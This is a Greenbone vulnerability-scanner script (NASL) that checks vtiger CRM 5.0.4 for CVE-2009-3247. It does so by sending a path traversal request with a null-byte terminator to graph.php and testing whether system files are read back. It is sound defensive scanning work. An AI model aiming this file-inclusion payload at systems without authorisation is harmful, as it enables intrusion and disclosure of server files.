vtiger CRM Multiple Input Validation Vulnerabilities

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:vtiger:vtiger_crm";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103109");
  script_version("2023-07-28T05:05:23+0000");
  script_tag(name:"last_modification", value:"2023-07-28 05:05:23 +0000 (Fri, 28 Jul 2023)");
  script_tag(name:"creation_date", value:"2011-03-07 13:16:38 +0100 (Mon, 07 Mar 2011)");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_cve_id("CVE-2009-3247");

  script_name("vtiger CRM Multiple Input Validation Vulnerabilities");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/36062");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/505834");
  script_xref(name:"URL", value:"http://www.ush.it/team/ush/hack-vtigercrm_504/vtigercrm_504.txt");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_dependencies("gb_vtiger_crm_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("vtiger/detected");

  script_tag(name:"summary", value:"vtiger CRM is prone to multiple input-validation vulnerabilities:

  - A remote PHP code-execution vulnerability

  - Multiple local file-include vulnerabilities

  - A cross-site scripting vulnerability

  - Multiple cross-site request-forgery vulnerabilities");

  script_tag(name:"impact", value:"Attackers can exploit these issues to execute arbitrary script code
  within the context of the webserver, perform unauthorized actions, compromise the affected application,
  steal cookie-based authentication credentials, or obtain information that could aid in further attacks.");

  script_tag(name:"affected", value:"The issues affect vtiger CRM 5.0.4. Other versions may also be affected.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the
disclosure of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to
a newer release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("misc_func.inc");
include("http_func.inc");
include("host_details.inc");
include("os_func.inc");
include("http_keepalive.inc");

if(!port = get_app_port(cpe:CPE))exit(0);
if(!dir = get_app_location(cpe:CPE, port:port))exit(0);

if (dir == "/")
  dir = "";

files = traversal_files();

foreach file (keys(files)) {
  url = dir + "/graph.php?module=" + crap(data:"../",length:6*9) + files[file] + "%00";

  if (http_vuln_check(port:port, url:url,pattern:file)) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);